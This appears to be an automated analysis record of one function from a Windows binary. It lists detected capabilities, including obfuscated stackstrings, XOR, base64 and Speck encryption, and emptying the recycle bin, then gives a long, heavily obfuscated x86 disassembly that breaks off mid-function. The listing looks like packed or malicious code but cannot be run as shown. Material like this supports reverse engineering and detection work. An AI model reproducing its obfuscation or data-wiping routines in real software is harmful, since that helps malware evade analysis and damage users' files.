Function at 0x4c0070
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Empty the recycle bin
Encode data using base64
Encode data using xor
Encrypt data using speck

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b5c
call fcn.0050e000
push esi
mov eax, 0xacc
mov word [ebp - 0x744], ax
mov byte [ebp - 0x65d], 0xae
mov byte [ebp - 0xe2d], 0x38
mov ecx, 0xed0
mov word [ebp - 0x139c], cx
mov dword [ebp - 0x25c], 0x36f3beeb
mov dword [ebp - 0x24c], 0x295b1449
mov dword [ebp - 0x244], 0x1db3e3c8
mov byte [ebp - 0x561], 0x7e
mov dword [ebp - 0xa7c], 0x17869bd2
push 0
push 0
push 0
lea ecx, [ebp - 0xfc]
call fcn.0050dfa0
mov byte [ebp - 0x18b1], 0xbc
mov dword [ebp - 0x398], 0x6c0f4e65
mov edx, 0xa2d
mov word [ebp - 0x189c], dx
mov dword [ebp - 0x91c], 0x403c9da9
mov dword [ebp - 0x4a8], 0x1e93a916
mov byte [ebp - 0xdb9], 0x7e
push 0
push 0
push 0
lea ecx, [ebp - 0x1cc]
call fcn.0050dfa0
mov byte [ebp - 0x1b0], 0x15
mov dword [ebp - 0xbd4], 0x528b1c17
mov dword [ebp - 0x7e8], 0x225a3052
mov byte [ebp - 0x1ad], 0x86
mov eax, 0x74c
mov word [ebp - 0x8f0], ax
mov dword [ebp - 0x12d8], 0xd8c34ad1
mov dword [ebp - 0x474], 0x18d1335e
mov dword [ebp - 0x6b8], 0x105b3db1
push 0
push 0
push 0
lea ecx, [ebp - 0xd5c]
call fcn.0050dfa0
mov ecx, 0x131
mov word [ebp - 0x5dc], cx
mov edx, 0xabc
mov word [ebp - 0x164], dx
mov dword [ebp - 0x8d4], 0x9ec1e2e7
mov byte [ebp - 0x10a1], 0x36
mov byte [ebp - 0x124d], 0x2e
mov dword [ebp - 0xf84], 0x517667d4
mov eax, 0x3ae
mov word [ebp - 0x140], ax
mov dword [ebp - 0x108c], 0x7a32643f
mov ecx, 0x5d0
mov word [ebp - 0x3fc], cx
mov dword [ebp - 0x107c], 0xea2d8459
mov byte [ebp - 0xd1d], 0xa8
mov dword [ebp - 0xe48], 0x12ea7c47
mov dword [ebp - 0x11c8], 0x5a3b0c3d
mov dword [ebp - 0x678], 0x4910d735
mov byte [ebp - 5], 0x48
mov edx, 0xc62
mov word [ebp - 0x278], dx
mov byte [ebp - 0x121], 0xa1
mov eax, 0x490
mov word [ebp - 0x75c], ax
mov ecx, dword [section..data]
add ecx, 0x33fd2dae
mov dword [section..data], ecx
movsx edx, byte [ebp - 0xe2d]
sub edx, 0x6c
mov byte [ebp - 0xe2d], dl
mov al, byte [ebp - 0xe2d]
mov byte [ebp - 0x18e0], al
cmp byte [ebp - 0x18e0], 0x73
je 0x4c0271
jmp 0x4c028a
movzx ecx, word [ebp - 0x75c]
and ecx, 0x6ad
mov word [ebp - 0x75c], cx
jmp 0x4d1cb8
movzx edx, word [ebp - 0x75c]
mov dword [ebp - 0x18e4], edx
cmp dword [ebp - 0x18e4], 0x65f
je 0x4c02a5
jmp 0x4c02e8
lea eax, [ebp - 0x75c]
push eax
lea ecx, [ebp - 0x3c0]
push ecx
lea edx, [ebp - 0x13a4]
push edx
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [ebp - 0x13a4], eax
movzx eax, word [ebp - 0x75c]
shl eax, 0xa
mov word [ebp - 0x75c], ax
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x7dc], eax
jmp 0x4c0429
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x18e8], ecx
cmp dword [ebp - 0x18e8], 0
je 0x4c0312
cmp dword [ebp - 0x18e8], 0x33726269
je 0x4c0401
jmp 0x4c0429
mov edx, dword [ebp - 0x7dc]
mov dword [ebp - 0x18ec], edx
cmp dword [ebp - 0x18ec], 0x9107a335
je 0x4c032c
jmp 0x4c034f
movzx eax, word [ebp - 0x75c]
push eax
movzx ecx, byte [ebp - 0xe2d]
push ecx
push 0xd2
mov dl, 0x54
mov cl, 0xe5
call fcn.00478870
jmp 0x4c03ff
mov edx, dword [section..data]
mov dword [ebp - 0x18f0], edx
cmp dword [ebp - 0x18f0], 0x2e72c958
je 0x4c036c
jmp 0x4c03ff
cmp dword [ebp - 0x7dc], 0xe6416ff1
jae 0x4c03cd
lea eax, [ebp - 0xe2d]
push eax
lea ecx, [ebp - 0x12c4]
push ecx
push 0x6c
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0xe1c], eax
movzx edx, word [ebp - 0x75c]
or edx, 0x446
mov word [ebp - 0x75c], dx
push 8
mov eax, dword [ebp - 0x7dc]
push eax
push 0xcf
movzx ecx, byte [ebp - 0xe2d]
push ecx
movzx edx, byte [ebp - 0xe2d]
push edx
call fcn.00429f50
jmp 0x4c03ff
cmp dword [section..data], 0x5ec5b5a5
jne 0x4c03ff
lea eax, [ebp - 0x13a4]
push eax
push 0x4b
push 0x54
call dword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [ebp - 0x348], eax
mov ecx, dword [section..data]
sar ecx, 3
mov dword [section..data], ecx
jmp 0x4c0429
mov edx, dword [ebp - 0x720]
push edx
mov eax, dword [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
mov edx, dword [ebp - 0xd38]
push edx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x82c], eax
mov ax, word [ebp - 0x75c]
mov word [ebp - 0x8ac], ax
mov dword [ebp - 0x13b4], 0x519000
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x82c]
xor edx, dword [ecx]
cmp edx, dword [section..data]
jge 0x4c046d
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], eax
movsx ecx, byte [ebp - 0xe2d]
cmp ecx, 0x29
je 0x4c0576
mov edx, dword [ebp - 0x13e8]
mov dword [ebp - 0x18f4], edx
cmp dword [ebp - 0x18f4], 0x79ead7a4
je 0x4c04a6
jmp 0x4c0532
mov al, byte [ebp - 0xe2d]
mov byte [ebp - 0x18f8], al
cmp byte [ebp - 0x18f8], 0x3a
je 0x4c04bd
jmp 0x4c052b
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x82c]
sub edx, dword [ecx]
mov dword [ebp - 0x13e8], edx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x13e8]
mov dword [section..data], ecx
lea edx, [ebp - 0x11a0]
push edx
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x898], eax
mov ecx, dword [ebp - 0x13e8]
add ecx, dword [section..data]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
jmp 0x4c0530
call fcn.004d7e60
jmp 0x4c0571
mov al, byte [ebp - 0xe2d]
mov byte [ebp - 0x81], al
mov ecx, 0x1d60
mov word [ebp - 0x1a8], cx
mov dword [ebp - 0x19c], 0x1023d
mov byte [ebp - 0x92d], 0x66
lea edx, [ebp - 0x8ac]
mov dword [ebp - 0x181c], edx
mov dword [ebp - 0x10c4], 0x175e
jmp 0x4c05fe
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x13e8]
mov edx, dword [ebp - 0x82c]
and edx, dword [section..data]
cmp ecx, edx
jg 0x4c05fe
mov dword [ebp - 0x7dc], 0x779ebcc
mov al, byte [ebp - 0x81]
mov byte [ebp - 0x18fc], al
cmp byte [ebp - 0x18fc], 0x6a
je 0x4c05b5
jmp 0x4c05e4
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x82c]
sar edx, cl
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x92d]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004d1cd0
jmp 0x4c05fe
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0xe1c], eax
lea edx, [ebp - 0x82c]
mov dword [ebp - 0x15c], edx
movzx eax, byte [ebp - 0x92d]
cmp eax, 0x78
jl 0x4c0727
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [section..data], eax
movsx ecx, byte [ebp - 0x81]
shl ecx, 0x65
movsx edx, byte [ebp - 0xe2d]
cmp ecx, edx
jl 0x4c070f
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0x6211c75
je 0x4c0665
jmp 0x4c06fa
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x13e8]
or edx, dword [ecx]
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
push 0xfd
mov ecx, dword [ebp - 0xf14]
push ecx
mov edx, dword [ebp - 0x700]
push edx
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [ebp - 0x898], eax
movzx eax, word [ebp - 0x75c]
movzx ecx, word [ebp - 0x8ac]
and eax, ecx
mov edx, dword [ebp - 0x181c]
mov word [edx], ax
mov eax, dword [ebp - 0x550]
push eax
lea ecx, [ebp - 0x150]
push ecx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [ebp - 0x898], eax
movzx edx, byte [ebp - 0x92d]
add edx, 0xa2
mov byte [ebp - 0x92d], dl
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
jmp 0x4c070d
lea ecx, [ebp - 0xbd0]
push ecx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x6c4], eax
jmp 0x4c0727
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x15c]
mov dword [edx], eax
movsx eax, word [ebp - 0x1a8]
sub eax, 0x57fd
cmp eax, 0x7738
jne 0x4c081b
mov cl, byte [ebp - 0xe2d]
mov byte [ebp - 0x1904], cl
cmp byte [ebp - 0x1904], 0x75
je 0x4c0758
jmp 0x4c0808
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
and eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x13e8]
add edx, dword [ecx]
cmp eax, edx
jge 0x4c07f6
mov eax, dword [ebp - 0x82c]
add eax, dword [section..data]
mov dword [ebp - 0x13e8], eax
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x12c4]
push edx
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [ebp - 0xfac], eax
mov edx, dword [ebp - 0x82c]
sub edx, dword [ebp - 0x13e8]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x8ac]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x75c], cx
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x13e8]
shl edx, cl
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
jmp 0x4c0806
movsx ecx, byte [ebp - 0xe2d]
or ecx, 6
mov byte [ebp - 0x81], cl
jmp 0x4c081b
lea edx, [ebp - 0x12c4]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
mov dword [ebp - 0x1908], ecx
cmp dword [ebp - 0x1908], 0x66524227
je 0x4c083a
jmp 0x4c08e7
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x9a4], edx
movzx eax, word [ebp - 0x8ac]
mov dword [ebp - 0x190c], eax
cmp dword [ebp - 0x190c], 0x490
je 0x4c0861
jmp 0x4c08ce
mov ecx, dword [ebp - 0x13b4]
mov eax, dword [ecx]
cdq
idiv dword [section..data]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x13e8]
sar edx, cl
cmp eax, edx
jg 0x4c089e
movsx eax, word [ebp - 0x1a8]
and eax, 0x50a6
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], ax
call fcn.004d7e60
mov dword [ebp - 0x118], section..data
lea edx, [ebp - 0x8ac]
mov dword [ebp - 0x358], edx
mov al, byte [ebp - 0x92d]
mov byte [ebp - 0x665], al
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x4c08e2
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x82c]
add eax, dword [edx]
mov dword [ebp - 0x13e8], eax
jmp 0x4c0975
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
mov dword [ebp - 0x1910], edx
cmp dword [ebp - 0x1910], 0xc18e809
je 0x4c090f
cmp dword [ebp - 0x1910], 0x5f47e57a
je 0x4c096f
jmp 0x4c0975
mov eax, dword [ebp - 0x13e8]
sub eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
push 0xcb
lea edx, [ebp - 0x7a4]
push edx
push fcn.0046d040
mov eax, dword [ebp - 0xdc8]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x6c4], eax
mov ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
sub eax, ecx
mov edx, dword [ebp - 0x9a4]
mov word [edx], ax
jmp 0x4c0975
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x358]
mov cx, word [eax]
mov word [ebp - 0xa20], cx
mov edx, dword [ebp - 0x13e8]
add edx, dword [ebp - 0x82c]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], edx
movzx eax, word [ebp - 0x75c]
movzx ecx, word [ebp - 0x8ac]
and eax, ecx
mov edx, dword [ebp - 0x181c]
mov word [edx], ax
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], ecx
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x118]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10c4]
sub eax, 0x7c
mov dword [ebp - 0x10c4], eax
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x15c]
add edx, dword [eax]
mov dword [section..data], edx
movsx ecx, word [ebp - 0x1a8]
shl ecx, 7
mov edx, dword [ebp - 0x9a4]
mov word [edx], cx
mov eax, dword [ebp - 0x358]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x75c]
sar edx, cl
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x181c]
mov word [edx], cx
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1a8]
or ecx, edx
mov eax, dword [ebp - 0x9a4]
mov word [eax], cx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
and edx, dword [ebp - 0x13e8]
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x8ac]
movzx edx, word [ebp - 0xa20]
sub ecx, edx
mov eax, dword [ebp - 0x358]
mov word [eax], cx
movsx ecx, word [ebp - 0x1a8]
add ecx, 0x1448
mov edx, dword [ebp - 0x9a4]
mov word [edx], cx
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
add edx, dword [ebp - 0x82c]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
movzx edx, byte [ebp - 0x665]
add edx, 0x56
mov byte [ebp - 0x92d], dl
movzx eax, word [ebp - 0xa20]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x358]
mov word [ecx], ax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [edx]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x82c]
sub edx, dword [ecx]
mov dword [ebp - 0x13e8], edx
movzx eax, word [ebp - 0x8ac]
mov ecx, dword [ebp - 0x358]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x181c]
mov word [edx], ax
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
or ecx, 0x6a05
mov word [ebp - 0x1a8], cx
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa20]
shl eax, cl
mov ecx, dword [ebp - 0x181c]
mov word [ecx], ax
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
mov ecx, dword [ebp - 0x7dc]
add ecx, 0x72b5993
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x7dc]
and edx, 0x53c02a38
mov dword [ebp - 0x2e0], edx
mov eax, dword [ebp - 0x82c]
sub eax, dword [section..data]
mov dword [ebp - 0x13e8], eax
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x118]
add edx, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x82c]
add eax, dword [edx]
mov dword [ebp - 0x13e8], eax
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xa20], cx
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x82c]
add edx, dword [ebp - 0x13e8]
mov dword [section..data], edx
mov eax, dword [ebp - 0x13e8]
sub eax, dword [section..data]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x13e8]
and edx, dword [ecx]
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7dc]
shl ecx, 0x16
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8ac]
or eax, ecx
mov edx, dword [ebp - 0x358]
mov word [edx], ax
movzx eax, byte [ebp - 0x92d]
sar eax, 7
mov byte [ebp - 0x665], al
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
xor edx, 0x7f89
mov word [ebp - 0x1a8], dx
movsx eax, byte [ebp - 0xe2d]
add eax, 0x62
mov byte [ebp - 0x81], al
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8ac]
sub edx, eax
mov ecx, dword [ebp - 0x358]
mov word [ecx], dx
mov edx, dword [ebp - 0x13b4]
mov eax, dword [edx]
and eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x82c]
add eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x82c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x358]
mov word [ecx], ax
mov edx, dword [ebp - 0x82c]
add edx, dword [ebp - 0x13e8]
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
cmp dword [ebp - 0x10c4], 0x20e
ja 0x4c0999
lea ecx, [ebp - 0x13e8]
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0xc3c], 0x4069
lea edx, [ebp - 0x665]
mov dword [ebp - 0x6cc], edx
mov dword [ebp - 0x674], 0x10718
mov eax, dword [ebp - 0x7dc]
add eax, 0x189fd53b
cmp eax, dword [ebp - 0x2e0]
je 0x4d1c02
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
mov dword [ebp - 0x1914], edx
cmp dword [ebp - 0x1914], 0
je 0x4c0e1b
cmp dword [ebp - 0x1914], 0x5757587e
je 0x4d1b2a
jmp 0x4d1b50
cmp dword [ebp - 0xc3c], 0x5cc2
ja 0x4c10b7
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1a8]
sub ecx, edx
mov eax, dword [ebp - 0x9a4]
mov word [eax], cx
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x92d]
sub edx, eax
mov byte [ebp - 0x665], dl
movzx ecx, word [ebp - 0x8ac]
movzx edx, word [ebp - 0x75c]
add ecx, edx
mov eax, dword [ebp - 0x181c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e0]
sub ecx, 0x16b4f928
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
add eax, dword [ecx]
mov dword [section..data], eax
movzx edx, byte [ebp - 0x92d]
movzx eax, byte [ebp - 0x665]
or edx, eax
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x75c]
movzx eax, word [ebp - 0x8ac]
xor edx, eax
mov ecx, dword [ebp - 0x181c]
mov word [ecx], dx
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x41c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x13e8], edx
movsx eax, word [ebp - 0x1a8]
shl eax, 1
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], ax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x41c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x118]
mov dword [edx], ecx
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x41c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x92d]
movzx ecx, byte [ebp - 0x665]
add eax, ecx
mov edx, dword [ebp - 0x6cc]
mov byte [edx], al
mov eax, dword [ebp - 0xc3c]
add eax, 0x7b
mov dword [ebp - 0xc3c], eax
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x75c]
sub edx, eax
mov ecx, dword [ebp - 0x358]
mov word [ecx], dx
movsx edx, word [ebp - 0x1a8]
add edx, 0x3c66
mov eax, dword [ebp - 0x9a4]
mov word [eax], dx
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x82c]
and edx, dword [ecx]
mov dword [ebp - 0x13e8], edx
movzx eax, word [ebp - 0x8ac]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x358]
mov word [ecx], ax
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
add eax, ecx
mov edx, dword [ebp - 0x9a4]
mov word [edx], ax
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xa20], cx
movzx ecx, byte [ebp - 0x665]
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x92d], cl
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x92d]
shl edx, cl
mov eax, dword [ebp - 0x6cc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
or edx, dword [section..data]
mov dword [ebp - 0x13e8], edx
mov eax, dword [ebp - 0x13b4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x82c]
sar edx, cl
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x13e8]
xor edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [section..data]
and eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x82c], eax
movzx ecx, word [ebp - 0xa20]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x358]
mov word [edx], cx
movzx eax, byte [ebp - 0x92d]
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x665], al
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x41c]
mov dword [eax], edx
jmp 0x4c0e1b
mov ecx, dword [ebp - 0x7dc]
sub ecx, 0x428d8704
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x82c]
sub edx, dword [section..data]
mov dword [ebp - 0x13e8], edx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x41c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x674]
sub ecx, 0x3a
mov dword [ebp - 0x674], ecx
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x181c]
mov word [ecx], ax
movzx edx, byte [ebp - 0x665]
movzx eax, byte [ebp - 0x92d]
sub edx, eax
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
add eax, ecx
mov edx, dword [ebp - 0x9a4]
mov word [edx], ax
movsx eax, byte [ebp - 0x81]
sar eax, 5
mov byte [ebp - 0xe2d], al
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
xor edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x82c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x13e8], eax
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x181c]
mov word [edx], cx
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x665]
and ecx, edx
mov byte [ebp - 0x92d], cl
cmp dword [ebp - 0x674], 0xf898
ja 0x4c10b7
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x12cc], eax
mov ecx, dword [ebp - 0x6cc]
mov dl, byte [ecx]
mov byte [ebp - 0x1918], dl
cmp byte [ebp - 0x1918], 0
je 0x4c11fe
jmp 0x4c129c
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
mov dword [ebp - 0x191c], ecx
cmp dword [ebp - 0x191c], 0x7f3a6697
je 0x4c121a
jmp 0x4c124c
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2e0]
push ecx
mov edx, dword [ebp - 0x9a4]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0xe2d]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.00429f50
jmp 0x4c129a
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x13e8]
add ecx, dword [eax]
mov dword [ebp - 0x108c], ecx
mov dx, word [ebp - 0x1a8]
mov word [0x519d74], dx
mov dword [ebp - 0x1068], 0x718b
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x82c], edx
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x320], eax
jmp 0x4c12fa
movzx ecx, byte [ebp - 0x665]
movzx edx, byte [ebp - 0x92d]
sub ecx, edx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x358]
